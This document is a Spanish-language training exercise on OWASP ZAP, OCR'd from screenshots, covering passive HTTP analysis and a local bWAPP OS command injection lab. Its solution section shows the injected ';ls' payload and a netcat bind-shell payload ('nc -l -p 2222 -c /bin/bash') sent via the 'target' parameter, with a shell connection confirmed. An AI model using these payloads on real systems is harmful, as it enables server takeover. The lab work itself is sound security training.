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1. EJERCICIO PRACTICO

Estudio de las comunicaciones HTTP en la aplicacion bWAPP utilizando un enfoque
pasivo desde una distribucién Kali Linux.

El objetivo de este ejercicio es que el alumno se familiarice con la configuraciéon de OWASP
ZAP para el analisis de trafico HTTP y que estudie las comunicaciones utilizadas con un
dominio local; el host “test” servira como apoyo; estudiaremos el tipo de parametros
enviados y recibidos, el método empleado, la localizacion de formularios web, etc. El
alumno utilizard un enfogue pasivo, sin utilizar ninguna de las funcionalidades de ataque
disponibles en OWASP ZAP.

Vamos a configurar el proxy del navegador para utilizar la direccién localhost en el puerto
8080. Asegurese de seleccionar la opcién “Use this proxy server for all protocols” para
incluir el posible trafico SSL en dicha configuracion.

(—/:‘ - ¢ @ ‘b Firefox ‘ about:preferencestgeneral 80% {H I @ =
S, Kali Linux ‘% Kali Training " Kali Tools “ KaliDocs % Kali Forums %, NetHunter [Jjlj Offensive Security ® Exploit-DB = GHDB JIMSFU

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings

® Manual proxy cenfiguration

| HTTP Proxy  127.0.0.1

¥ Use this proxy server for all protocols

I ssLerogy 127.0.01 port

ETP Proxy 127.0.0.1 Port
SOCKS Host  127.0.0.1 Port
SOCKSv4 ® SOCKSVS

Automatic proxy configuration URL

No proxy for
localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Do not prompt for authentjcation if password is saved

Proxy DNS when using SOCKS v5

Help

Figura 1 Configuracion Proxy

Tras configurar el proxy, se navegard al host http://test/app/bWAPP/login.php y se
comprobard que OWASP ZAP recoge todas las peticiones.
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@ shos | 4 | [ wico Répido | = Peticidn | Respuesta+— | 4 |
(= o] | Encatezamiento: vista Raw |¥| |CuspovisaRaw w] [5) =
+ 5 Comeros 2508/ g0/ DHARP/ Login. ohe HITP/1.1
() Cartexto pregeterminade
v @ sios
v 5 nitp192.165.1.5:6888 NT 10.0; Winsd; x64) AppleNebXit/S37.36 (KHTML, like Gecko) Chrome/8.0,3087.122
o /xhkel<unl , appl fcation sl ;q=8.3, nage. webp, [nage/apng, */*;4-9. 8, applicat ion/ s igned-
v
4209, e5-E55q00.8
SulTlbulnesg3cls1s1ivo6
B ™ GETogn pnp i
» & Ppxne2 166150888
[ ristonia | % Buscar | P alertas | | | Salida | 4 |
© @ | Fire APAGADO ¢ Exponar
[ Marca 0e vempo Rea et AL RTT Tamafio renusnico para 8l cusmoo Alsrta mayer Mot Enausta =
1 4220115749 GET hips 1192 168,15 8388iapmbWAPPA ogin php

5 420115800 GET

5.4308ytes # Bajo
misegundes 239001165 7 Bajo
A0miisagundos 433000108 7 Bl Camment

16 40 115808
32 4020115608 GET

Alertas f40 51 22 2 Prman Prox: locahosts0s) Escancazcual @0 B0 D0 A0 G0 %0 0 Ho

Figura 2 Navegacion web del host local “test”

A partir de este momento podemos estudiar el tipo de trafico intercambiado entre el
navegador y el host local, asi como las tecnologias empleadas por el mismo.

Por ejemplo, podemos observar de forma inmediata algunas de las cabeceras de seguridad
HTTP empleadas por el servidor web.

) Editor Manual de Peticiones — O ht

Peticion | Respuesta ]

lEncabezaniento:Vista Raw |"'] lCuerpo:‘u’is’ta Raw |'] @ =

HTTR/1.1 28@ QK

Date: Wed, 84 Mar 2828 11:11:33 aGMT
Server: Apache

Expires: Thu, 19 Nov 1981 88:52:88 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding
X-X55-Protection: 1; mode=block
Content-Length: 4823

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Figura 3 Cabeceras del servicio web

Algunos de estos headers (https://owasp.org/www-project-secure-headers/) como, por
ejemplo, el uso de X-XSS-Protection dificultarian ataques de tipo XSS mediante la
activacion de determinados filtros en el navegador. Del mismo modo, el header X-Content-
Type-Options permitiria prevenir cierto tipo de ataques como consecuencia del "content
sniffing" llevado a cabo por el navegador (http://webblaze.cs.berkeley.edu/papers/barth-
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caballero-song.pdf). Se recomienda que el alumno investigue y entienda el uso de estas
cabeceras para una mayor comprension de conceptos relacionados con la seguridad web.
En este aspecto, el proyecto OWASP (Open Web Application Security Project) es uno de
los mejores puntos de partida para comprender los pilares basicos de la seguridad web.

Continuando con el andlisis del host "test”, en la ventana de informacion (pestafia Historia)
se observa, el tipo de recursos solicitados cuando se accede a la URL principal: CSS,
JavaScript, etc.

_[ = Historia T ', Buscar T 'h"UA\enas T Salida m

@ | Filiro: APAGADO {' Exportar

D | Marca de tiempo Req | Métado | URL | Codigo | Razdn

1 4/3/20 11:57:49 GET hitps:/192.168.1.5:8888/app/oWAPP/login.php 502 Bad Gateway
5 4/3/20 11:58:00 GET hitps://192 168.1.5:8888/app/bWAPP/login php 502 Bad Gateway
6 4/3/20 11:58:01 GET hitps:/192.168.1.5:8888/app/bWAPP/login.php 502 Bad Gateway
7 4/3/2011:58:01 GET hitps:/192.168.1.5:8888/app/oWAPP/login.php 502 Bad Gateway
8 4/3/2011:58:07 GET hitp:i192.168 1.5:8888/app/bWAPP/login.php 200 OK

12 4/3/20 11:58:08 GET hitp:11192.168.1.5: 'app/bWAPPIsty lesheetcss 200 OK

16 4/2/20 11:58:08 GET I http:/1192.168.1.5:8828/app/bWAPP/js/himi5.js I 200 OK

32 4/3/2011:58:08 GET hitp:i192.168 1.5 pp: PPifontsfarck ter it 200 OK

36 4/3/2012:00:31 POST https:Houtiook.office 365.conmvmapi/nspi/?Mailboxld=00193407-fd64-4c8f-9634-5fe67 1dGebab@ihacklabs.com 200 OK

37 4/3/2012:00:31 POST hitps:ioutlook office 365.com/mapiinspi/?M ailboxld=0b193407-fd64-4¢c8f-9634-5fe67 1d6c6ab@ihacklabs.com 200 OK

40 4/3/2012:00:31 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5(e67 1dBchab@ihacklab 200 OK

41 4/312012:00:31 POST https:ioutlook.office 365.com/mapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-0634-5fe67 1d6cbab@ihacklab... 200 OK

42 4/3/20 12:00:32 POST https:ioutlook office 365 comvmapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-0634-5fe67 1dBc6ab@ihacklab 200 OK

43 4/3/20 12:00:33 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5fe67 1dBcGab@ihacklab 200 OK

44 4/3/2012:00:33 POST hitps:foutiook.office 365.com/mapi/emsmdbi?M ailbox|d=0b1923407-fd64-4c8f-0634-5fe67 1d5cbab@ihacklab... 200 OK

45 4J3/20 12:00:33 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5{e67 1dBcGab@ihacklab 200 OK

46 4/3/20 12:00:35 POST hitps:ffoutiook.office 365.comvmapiinspi/?Mailboxld=00193407-d64-4c8f-9634-51e67 1dGeGab@ihacklabs.com 200 OK

47 4/3/120 12:00:35 POST https:#outiook.office 365.comvmapi/nspi/?Mailboxld=0b193407-fd64-4c8f-9634-5fe67 1dGcGab@ihacklabs.com 200 OK

48 4/3/2012:00:32 POST hitps:/foutiook office 365 commapi/emsmdbi?M ailbox|d=0b193407-fd64-4c8f-9634-5fe67 1dBchiab@ihacklab 200 OK

Figura 4 Histérico de peticiones

Aunque la mayoria de recursos se solicitan via web podemos filtrar también por métodos
POST para localizar pardmetros de entada de interés. Por ejemplo, en la siguiente imagen
se muestra la informacion remitida cuando se hace uso de uno de los buscadores de la
web. Si tuviéramos la autorizacién correspondiente para hacer una auditoria de seguridad,
seria interesante probar diversos payloads con estos parametros (por medio de la
funcionalidad de fuzzing) para corroborar si los mismos son susceptibles de alguna
vulnerabilidad.

g e e

_AEhae visaRaw 9] | R: =)

> & ¥ naps loutiook oice365 com Q Fitro historial x|
v ™ hip 1192 168.1.5:8888
‘ se str: b Puede seleccionar
v app
an extremely bu Y web app cada slemento. Un araivar i ninguna de sus
v i P bwAPP filas es seleccionada </p></imi>
z fonis Métodos: Cédigos: Evgquetas Alertas Incluso URL Regex
images connega] (100 [&] [ comment Informa & Al fe/ss
> Er oeLere 1) | 101 Fom Low )
GETogin.php GET 200 Password Mediur .
> Stylesheets HEAD 201 Sanpt High ¥ £
y GETuser_new.php oemons | | | 202 setCookie | |<7 7 | URLExcReger: E
New User / Faioin | R (I y— e | o: q
204
[Métoso |w) oy o Low 2
" ) 1 M 2 Mediur ¥
eate a new "
! " ST hetp:) /15215015 5088 amp il MO8 | & Buscar [ P wlentas | saida [ + | s | (206 [v] [skepw] [<0 d
Connection: keep-alive 5
gir E-mai Content-Length: 113 e |_'F||Itn Encendido Métodos (' Exportar Notas:| ignorar _'J
suario email@dominio.com Cache-Control D Marca detiempoReq  Método n
origin: nttps .s:8888 A
4 1 36 4320 120031 POST | Cancelar | | Borrar Aplicar
' 37 4320 120031 POST R —
40 43720 120031 POST , 3407 1064-4CB1-9634-51067106CR3b.. 200 OK
41 4320 120031 POST ofice385 193407-1064-4B10834-51667106c8ab.. 200 OK
42 423120 1200:32 POST hiips loutlook.oMice 365 0. 193407 4¢ 534-51067 106¢63b. 200 OK
misecreto 43 43720 120033 POST hitps foutiook 1d64-4C81-9634-51e67 106¢6ab. 200 OK
44 4320 120033 POST  hiips/ioutiook ofice385 1934071 9634.51067106c8ab.. 200 OK
mail activatiol 45 473120 120033 POST Mips floutiook. office 365 comimapiemsmab/ M ailboxId=00 193407 1d64-4c81-9634-56e67 106¢6ab. 200 OK
65.1.5:508¢ i =5k, i = e e A
Create ©.9,e5-4 Alertas 0 721 7 /3 Primary Proxy. localhost8080
vi71bulme3g3cl 13706
Plegse enier oll whe fieldst usuario’ email-enai1@dominio. Comspassword=nipasswdrcapassword_conf-mipasSwerdssecret-misecretodact ion=create

Figura 5 Formulario: peticiones POST
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A medida que navegamos consultaremos frecuentemente la ventana de alertas para
comprobar si ZAP ha detectado algun problema de seguridad. En la siguiente imagen, por
ejemplo, nos informa que se ha detectado un formulario que carece de token CSRF
(https://cheatsheetseries.owasp.org/cheatsheets/Cross-

Site Request Forgery Prevention Cheat Sheet.html). En este caso, no obstante, la
alerta no representa ningun peligro ya que el formulario no esta relacionado con la
ejecucion de acciones potencialmente dafinas o el envio de informacion critica.

hepio2 168 158838
* & htps.r1z 168.1.5:8908

v Sape
T ape

W GETioon pho it

= istonia | =, Busear | P asenas o | | salioa | 2 Escaneo acwo | o Navegacion Predennica | 8 spicenaiatia) | 4 |

Absence of Anti-C SRF Tokens.
URL /192 163,15 8688/app/bAPPACgIn phe.

Evidencia: <form actions"Tapp/tYAPFRagin php” method="POST>
CWEID: 352

acet { wasciD: 9

V" lDfigen:  Pasivo (10202 - Absence of AnS-CSRF Tokens)
Descripcin

g HTTP. v 50 = i izar una accién ma. La causa acuta o3 | Rincionaiidad e 1a apicacién
8l ataqus &5 qus CERG explota |3 coNfianza Gus un silio weD HOPOITIONS 3 LN USUAMD. POr | CoNliari, 135 Ca0enas de COMaNGos de 102 S0 enizades (XSS

» 8 Timestamg Disclosure - Unic (22) na salicus ¥ abliga 3 una v
umzang 3 INGG0S 0¢ TOMa regetiie. La natr

owainto

No kngwn An-CERF token [aricsrt, CERF Token, _Requesty erificationToken, carmiddiswarstaken, aufhenbaly_ioken, OWASP_CSRFTOKEN, anoncsr. carf_foken, _cs, _csfSecrel] was found n the folloning HTH L form [Form 1- Togin* ‘password |

Figura 6 Formulario: peticiones POST

Estudiando de forma meticulosa las peticiones interceptadas por ZAP podremaos reconstruir
las tecnologias empleadas por el servicio. Asimismo, podremos identificar las entradas
susceptibles de ser vulnerables. Recuérdese, no obstante, que para hacer un escaneo
activo o utilizar cualquiera de las funcionalidades de ataque disponibles en ZAP se requiere
de la autorizacion correspondiente; en caso contrario podria incurrirse en un delito.
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2. EJERCICIO DE INVESTIGACION

El objetivo del ejercicio es investigar el trafico HTTP empleado por determinado portal web
e intentar aprovecharse, si es posible, de una vulnerabilidad en uno de sus parametros.
Debido a que este tipo de pruebas requieren de una autorizacion previa por parte del
responsable del dominio, en su lugar, se instalara un servicio web en una Kali y se
realizaran las pruebas en local.

Para proceder con la instalacion, descargue el fichero bWAPP.zip adjunto y descomprima
su contenido dentro del directorio /var/www/. Posteriormente siga las instrucciones
descritas en el fichero INSTALL.txt

/html/bWAPP# 1s -1

root 4096 ene 24 15:12

root 12288 ene 24 15:12
- FWX WX rwx root 5010042 nov 2 2014 bWAPP_intro.pdf
- PWXTWXrwXx vboxsf 15058349 ene 24 15:11 bWAPP_latest.zip

- FWX WX rwx root 325 mar 8 .2014-CtientAccessPolicy.xml

- PWXIWXrwx root 200 mar 11 2014 crossdomain.xml

d rwx rwx rwx root 4096 ene 24 15:12

- FWXIrwX rwx root 2589 may 12 2014 INSTALL.txt

- FWXIwWXrwx root 2491 nov 2 2014 README.txt

- PWXTWXrwx root 8271 nov 2 2014 release_notes.txt
r/www/html/bWAPP# less INSTALL.txt

Figura 7 Despliegue bWAPP

Tras la instalacion verifique que tiene acceso a la plataforma web desde el navegador y
que el mismo esta configurado correctamente para utilizar ZAP como proxy web.

an ex+remely buggy web opp !
New User nfo Taks & Training Blog

/ Logn / ) 1.
MISSING &:
Enter your credentials (bee/bug) a EXPLOITED

CHILDREN

r with
Password:
necs Pain
Web Security
Scanner

Set the security level:
Security Audits & Training

Login

bee

low v

Login

Figura 8 Despliegue bWAPP
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Posteriormente autentiquese al portal utilizando las credenciales por defecto (si éstas no
han sido modificadas):

e Login: bee
e Password: bug

Una vez autenticado, elija el tipo de bug “OS Command Injection” y pulse el botén Hack.

< c @ @ @ https://192.168.1.166/portal.ph - 0w I @
\ Kali Linux \, Kali Training %, Kali Tools *\ KaliDocs \, Kali Forums “\ NetHunter ] Offensive Security % Exploit-DB & GHDB [j| MSFU
@ Choose your bug
bWAPP v2.2 v || Hack |
Set your gecurify level:
| v Set | Ci nt low
on extremely buggy web app ! - =

Change Password ~ Create User  Set Security Level ~ Reset  Credits  Blog  Logout

/ Portal /

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthu:
bWAPP covers all major

Itis for security

s and students to discover and to prevent web vulnerabilities
b vulnerabilities, including all risks from the OWASP Top 10 project!
jonal purposes only.

g and

OBEC

Which bug do you want to hack today? ;)

iFrame Injection

LDAP Injection (Search) I ’, NATIONAL m
g . CENTER FOR

Mail Header Injection (SMTP) ' CENTERFOR 58 1N

OS Command Injection r MISSING &

0S Command Injection - Blind EXPLOITED

PHP Code Injection CHILDREN

Server-Side Includes (SSI) Injection
SQL Injection (GET/Search)
SQL Injection (GET/Select)

Hack |
Figura 9 Tipo de prueba: OS Command Injection

El usuario se encontrara con el siguiente portal web donde tendra que auditar, utilizando
ZAP, si alguno de los parametros utilizados es vulnerable. Asimismo, tendra que describir
el tipo de vulnerabilidad encontrado, sus implicaciones y como se solucionaria la misma.
Los alumnos no podran utilizar el escaneo activo ni ninguna de las funciones de ataque
implementadas en ZAP (esto incluye: Spider, fuzzing, navegacion predefinida, etc.).
Unicamente se podré utilizar un enfoque manual con el objetivo de mejorar sus destrezas
en el uso de OWASP ZAP. Tras identificar correctamente la vulnerabilidad, los alumnos
podran estudiar el cédigo fuente del script vulnerable.

< c @ © @ https://192.168.1.166/commandi.ph

F e O N @ =
\ Kali Linux *\ Kali Training \, Kali Tools *\, KaliDocs %, Kali Forums *\, NetHunter [ Offensive Security  Exploit-DB % GHDB | MSFU
@ Choose your bug
bWAPP v2.2 v || Hack
Set your ;ecur'rh/ level:
I v Set | Current: |
an extremely buggy web app I ENR N

Bugs  Change Password  Creafe User  Set Security Level  Reset  Credis  Blog  Logout

/ 0OS Command Inection /

DNS lookup: | www.nsa.gov Lookup ﬁ

o

Figura 10 Tipo de prueba: OS Command Injection
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Solucion del ejercicio:

Si se analiza la peticién remitida cuando se pulsa el botdn “Lookup”, se puede ver que el
campo de entrada (por defecto, el valor www.nsa.gov) se remite via POST mediante el
parametro target.

@ sitios | 4 [ % inicio Rapido | = Request & Response | 4

@EEO |vista Raw |v] [ (0] [ vista Raw | ¥ [ cuerpo:vista Raw || [T [0
T ¥ Contextos POST http://192.168.1.166/commandi.php HTTP/1.1 HTTP/1.1 200 0K
(&) Contexto predeterminado User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Date: Wed, 20 Jan 2020 12:20:37 GHT
v @ sitios Accept: text/html,application/xhtml+xml application/xml;q=0.9.*/*;q=0.8 Server: Apache/2.4.41 (Debian)
Accept-Language: en-US,en;q=0.5 Expires: Thu, 19 Nov 1981 08:52:00 GHT
v [ P http://192.168.1.166 Referer: https://192.168.1.166/commandi.php Cache-Control: no-store, no-cache, must-revalidate
[ P GET:commandi.php Content-Type: application/x-www-form-urlencoded Pragma: no-cache
Content-Length: 30 Vary: Accept-Encoding
Cookie: PHPSESSID-0]lpnslapbmbfmvsvluipvujll; security_level-0 Keep-Alive: timeout=s. max=100
Connection: keep-allve Connection: Keep-Alive
Upgrade- Insecure-Requests: 1 Content-Type: text/html; charset=UTF-8

Host: 192.168.1.166

target-wmar.nsa. gov&form=submit |

</form=
<p_alian="left">Server 1.1.1.1
Address: 1.1.1.1#53

Non-authoritative answer:
wai.nsa.gov  canonical name = nsa.gov.edgekey.net.
nsa.gov.edgekey.net canonical name = e16248.dsch.akamaiedge.net.

Name: 16248, dsch.akamaiedge.net
Address: 95.100.122.124

Name: 16248, dsch.akamaiedge.net
Address: 2a02:26f0:15:1:9000: :3778
Name: 16248, dscb.akamaiedge.net
Address: 2a02:26f0:15:1:8400: :3778
</p>

</divs

<div id="side">

curity Level

e
(e

/ 0S Command Inection /

DNSInnRup|www.nsa.gw H Lookup ‘

Server: 1.1.1.1 Address: 1.1.1.1#53 Non-autheritative answer: www.nsa.gov canonical name = nsa.gov.edgekey.net.
nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net. Name: e16248.dscb.akamaiedge.net
Address: 95.100.122.124 Name: e16248.dscb.akamaiedge.net Address: 2a02:26f0:15:1:9000::3f78 Name:
e16248.dscb.akamaiedge.net Address: 2a02:26f0:15:1:8400::3f78

Osal

Figura 11 Envio peticion POST

Fijese que el resultado devuelto por el servidor encaja perfectamente con la salida
generada por el comando nslookup:

. </form=
i~# nslookup www.nsa.gov <p align="left'>Server 1111
b A S Address: 1.1.1.1#53
1.1.1.1#53 Non-authoritative answer

wnw.nsa.gov  canonical name = nsa.gov.edgekey.net
nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net

on-authoritative answer: Nane:  e16248.dscb.akanaiedge.net
- Address: 95.100.122.124
.gov canonical name = nsa.gov.edgekey.net. Name:  e16248.dsch.akamaiedge.net
1 - i Add : 2302:26f0:15:1:9000: :378
.edgekey.net canonical name = el16248.dscb.akamaiedge.net. B e et Shanatedgonet
e16248.dscbh.akamaiedge.net Address: 2202:26f0:15:1:8400: :3778
: 23.216.125.52 .
e16248.dsch.akamaiedge.net </div>
: 2a02:26f0:15:1:9000: :3f78 <div id="side">

e16248.dsch.akamaiedge.net
1 2a02:26f0:15:1:8400::3f78

Figura 12 Similitudes con el comando nslookup

Todo parece indicar que el servidor web esta utilizando el valor remitido por el parametro
target para ejecutarlo en la consola y devolver la salida generada. ¢ Qué pasaria si en lugar
de remitir el dominio afiadimos un segundo comando en la entrada? Por ejemplo, la orden:
;1s

J

Para modificar al vuelo dicho argumento vamos a hacer uso de los puntos de interrupcion
descritos en el curso con el que podremos “parar” la peticion web antes de que ésta se
remita al servicio web.
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 GETcommandi php

» [ images
=T

1 GET:ogin.php
» L styleshests

target=www.nsa. govkform=subit

Atacar
Incluir en contexto

Marcar come un contexto

Ejecutar aphicacién

Excluir del contexto seleccionado

§ Reenviar...

Excluir de

Open URL in Browser

Mostrar en la pagin de historial

Ver en el navegador

(Copie las URL al portapapeles

Eliminar

AGMINISErar Tags...

Exportar Todas [as URLs 3 un fichera...

Exportar URL seleccionadas para el archivo...
1 Parada...

Hlerta nusva...
Alertas para este nodo >
(Generar FORM de prueba anti-CSRF

Yyyvovow

v

Suprimir

. - ,/
sincibe_ @

Content-Type: text/ntml; charset=UTF-g

Ublcacin:

Partido:

Cadena:

Inversa:

W
ARadir punto de interrupcin (Break Point)

L 2S
= I~ || - LL11
| Regex ]
wer:

http://192.168.1.166/commandi.php

8]

Ignorar case: [

Le

lcal name = nsa.gov. edgekey.net

fananical name = 16248.dsch. akanaiedge. net .
J.akamaiedge . net

124

).akanaiedge. net
§:1:9000: : 3178
J.akanaiedge. net

2 [Gomsar ] comcotar | 18400 3770

]

e

</div>

<div i

d="side"

Figura 13 Punto de interrupcion

Tras crear el punto de interrupcion volveremos a hacer clic en el boton “Lookup” y
sustituiremos el contenido del parametro “target” con la siguiente cadena:

@ sitios | +

[ % micio Répido | 5 Request & Response | 4 Punto de interrupcién | <

LB

| método

|7] [Encabezamiento: Vista Raw | ¥| | Cuerpo:Vista Raw

¥ () Contextos

v @ sitios

» [ fonts
» []images
> ERjs
| 7 GET-login.php
> [ stylesheets

[£] Contexte predeterminado

v L http://192.168.1.
|1 P GET:commandi.php
_] P POST:commandi.php(form target)

w80

Host: 192.168.1.16

166 Accept-Language: en-US,en;q=0.
Referer
Content -Type
content-Length: 30

Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

POST http://192.168.1.166/commandi.php HTTP/1.1
6

https://192.168.1.166/conmandi . php
application/x-wwi-forn-

urlencoded

Cookie: PHPSESSID=0jlpnslapbmbfmvsyluipvujll: security_level=0

User-Agent: Mozilla/s.0 (XI11; Linux x86_64; rv:60.0) Gecko/20180101 Firefox/60.0
Accept: text/html,application/xhtmlexml,application/xmL;q=0.9, */*;q=0.8

target-inar. nsa.gov; 1s&form=submit

Figura 14 Modificacién del parametro target

Fijese que de esta manera se ejecutaria la orden: nslookup www.nsa.gov;ls (en Linux el

caracter ‘;’ permite concatenar varios comandos). Tras reenviar la peticién al destino
podemos observar que efectivamente hemos logrado recuperar el listado de ficheros del
servidor lo que confirmaria el tipo de vulnerabilidad.

Analizar Reporte Herramientas Import En linea Ayuda

USdmgg 20 9868 0008 d vV eP r o xX@E

# Busquedas | INCIBE X

+
b3

bWAPP - 0S Command Injection - Mozilla Firefox

Linea de Ayudaen Ci' X

I3
3

Contacto | INCIBE X | 3% bWAPP-0SComm: X | 3 Preferences

[ % nicio Rapido | 5 Request & Response | ¢ Punto de interrupcion | 4

20

| Vista Raw 7|

( Vista Raw v) | CuerpoV

raw v B O

POST
http://192.168.1.166/com
mandi.php HTTP/1.1
User-Agent: Mozilla/5.0
(X11: Linux x86_64; rv
60.0) Gecko/20100101
Firefox/60.0

Accept: text/html,
application/xhtmlxml,
application/xml;q=0.9,%/
*#:0=0.8

Accept-Language: en-US,

https://192.168.1.166/c0
mmandi. php
Content-Type:
application/x-wai-form-
urlencoded
Content-Length: 33
Cookie: PHPSESSID=
031pns Lapbmbfnvsyluipvuj
11; security_level-0
Connection: Keep-alive
Upgrade-Insecure-
Requests: 1

Pragna: no-cache
Cache-Control: no-cache
Host: 192.168.1.166

target=
Wi, N53.g0v; Ls&form=subm
it

HTTP/1.1 200 0K
Date: Wed, 29 Jan 2020 12:48:47 GMT
Server: Apache/2.4.41 (Debian)

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragna: no-cache

Vary: Accept-Encoding

Keep-ALive: timeout-s, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
Content-Length: 16631

Address: 1.1.1.1#53

Non-authoritative answer:

wi.nsa.gov  canonical name - nsa.gov.edgekey.net.
nsa.gov.edgekey.net canonical name = e16248.dsch.akanaiedge.net

Name: ©16248.dsch.akanaiedge . net
Address: 95.100.122.124

Name: €16248. dsch. akanaiedge . net
Address: 2a02:260:15:1:9000::3178
Name: 16248, dsch. akanaiedge . net
Address: 2a02:260:15:1:8400::3178
666

DUWA-master

DWA-master. zip

admin

ain.php

apps

biAPP

ba_captcha_bypass.php
ba_forgotten.php
ba_insecure_login.php
ba_insecure_Login_1.php
ba_insecure_Login_2.php
ba_insecure_Login_3.php
ba_Logout .php
ba_Logout_1.php
ba_pwd_attacks.php
ba_pwd_attacks_1.php

ha_nwd_attacks 2.ohn

Historia | S Buscar | [0 Alertas | | Salida | 3¢ Puntos de interrupcion # # |

bilitado | Tipo

Figura 15 Confirmacion de lainyeccion

<)o ¢ @

®

https://192.168.1.166/commandi.php

B9 v

N, Kali Linux "\, Kali Training % Kali Tools %, KaliDocs % KaliForums ‘%, NetHunter Bl Offensive Security * Exploit-DB = G

on extremely lauggy web app !

W

Choose your buq

‘ bWAPP v2.2

4

Set yeur secur"r}y level:
Current: low

/ 0S Command Inection /

DNS lookup: ‘ WWW.Nsa.gov

H Lookup ‘

Server: 1.1.1.1 Address: 1.1.1.1453 Non-authoritative answer: www.nsa.gov canonical name = nsa.gov.edgekey.net
nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net. Name: e16248.dsch.akamaiedge.net
122.124 Name: e16248.dscb.akamaiedge.net Address: 2a02:26f0:15:1:9000::3f78 Name:

Address: 95.100
©16248.dscb.akamaiedge.net Address: 2a02:26f0:15:1

8400::3f78 666 DVWA-master DVWA-master.zip admin

aim.php apps bWAPP ba_capicha_bypass.php ba_forgotten php ba._insecure_login.php ba_insecure login_1.php
ba_insecure_login_2.php ba_insecure_login_3.php ba_logout.php ba_logout_1.php ba_pwd_attacks.php
ba_pwd_attacks_1.php ba_pwd_attacks_2.php ba_pwd_attacks_3.php ba_pwd_aitacks_4.php ba_weak_pwd.php
backdoor.php bof_1.php bof_2.php bugs.txt capicha.php captcha_box.php clickjacking.php commandi.php
commandi_blind.php config.inc config.inc.php connect.php connect_i.php credits.php ¢s_validation.php csrf_1.php
csrt_2.php csrf_3.php db directory_traversal_1.php directory_traversal_2.php documents fonts

functions_external php heartbleed.php hostheader_1.php hostheader 2 php hpp-1.php hpp-2.php hpp-3.php
htmli_current_url.php himli_get.php himli_pest.php himli_stored.php http_response_splitting.php
http_verb_tampering.php iframei.php images index.nginx-debian.htm| index.php info.php info_install.php

information_disclosure_1.php information_disclosure_2.php information_disclosure_3.php
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Con esta informacion podemos contestar a las siguientes preguntas:

2.1. ;Qué tipo de vulnerabilidad se ha identificado?

La vulnerabilidad se corresponde con una inyeccion de comandos: segun describe la
OWASP (https://owasp.org/www-community/attacks/Command_Injection), este tipo de
ataque:

“es posible cuando una aplicacion pasa datos inseguros proporcionados por el usuario
(formularios, cookies, encabezados HTTP, etc.) a un shell del sistema. En este ataque, los
comandos del sistema operativo proporcionados por el atacante generalmente se ejecutan
con los privilegios de la aplicacion vulnerable. Los ataques de inyeccién de comandos son
posibles en gran medida debido a una validacion de entrada insuficiente”

Si accedemos al directorio web y abrimos el script commandi.php podemos corroborar que
el script esta invocando el comando nslookup por medio de la funcién insegura shell_exec
(https://www.php.net/manual/es/function.shell-exec.php) sin aplicar ningun tipo de
validacion ni filtro al parametro target.

>Lookup</button>

</form>
<?php

commandi($target))

target=

Figura 16 Codigo fuente (commandi.php)

2.2. ¢Qué tipo de implicaciones tiene?

Un atacante podria ejecutar todo tipo de érdenes y, por tanto, comprometer al completo el
servidor web. Por ejemplo, si en lugar de ejecutar un “Is” el atacante hubiera ejecutado “nc
-1 -p 2222 -c /bin/bash” instalaria una bind shell a modo de backdoor.

Seminario web 5 "Uso de OWASP ZAP". Ejercicios Péagina 11 de 15
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@ Sitios | 4= { L7 Inicio Rapido T % Request & Response TS@ Punto de interrupcién | 4=
(O on | | Método |V] | Encab Vista Raw |v] | Cuerpo:Vista Raw \'] |ij|:|
¥ (5 Contextos POST http://192.168.1.166/commandi.php HTTP/1.1
Contexto predeterminado Host: 192.168.1.166
v @ sitios User-Agent: Mozilla/5.0 (X11; Linux x86_64: rv:608.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

v [P http://192.168.1.166 Accept-Language: en-US,en;q=8.5

| FIGET:c Referer: https://192.168.1.166/commandi.php
. Content-Type: application/x-www-form-urlencoded
| P GET:commandi.php Content-Length: 64
|| i POST:commandi.phpiform,target) Cookie: PHPSESSID=9i1i5p]j2uihvSepd62tdcce]q; security level=0

Connection: keep-alive

» LRifonts Upgrade-Insecure-Requests: 1
» __]images
» [ Rjs

| P GET:login.php

|| 1 POST:login.php(form.login.password.securl

- target=www.nsa.govs3B+nc+-1+-p+2222+-c+%2Fbin%2Fbash:form=submit I
|| P GET:portal.php

|| P POST:portal.php(bug.form)
:~# netstat -putna | grep 2222 B
0 0 0.0.0.0:2222 LISTEN 18078/nc

i~# nc 192.168.1.166 2222

Linux kali 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kalil (2019-08-22) x86 64 GNU/Linux

Figura 17 Bind shell con netcat

2.3. (,Como solucionaria la vulnerabilidad?

Se recomienda utlizar las pautas descritas por el proyecto OWAS
(https://cheatsheetseries.owasp.org/cheatsheets/OS _Command Injection Defense Chea
t_Sheet.html). Estas contramedidas se resumen en:

e Evitar invocar directamente comandos.
e Escapar y filtrar los valores proporcionados a los comandos.
e Parametrizacion junto con la validacion apropiada de los parametros de entrada.
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3. EJERCICIO ADICIONAL

Aprovechando la instalacion del servicio web local utilizado en el apartado de investigacion
anterior, en este ejercicio los usuarios aprenderan a incorporar nuevos diccionarios a ZAP
para el descubrimiento de nuevos recursos web.

Un repositorio de especial interés para este ejercicio es el proyecto en Github Fuzzdb ya
que recoge multitud de diccionarios dentro del directorio predictable-filepaths
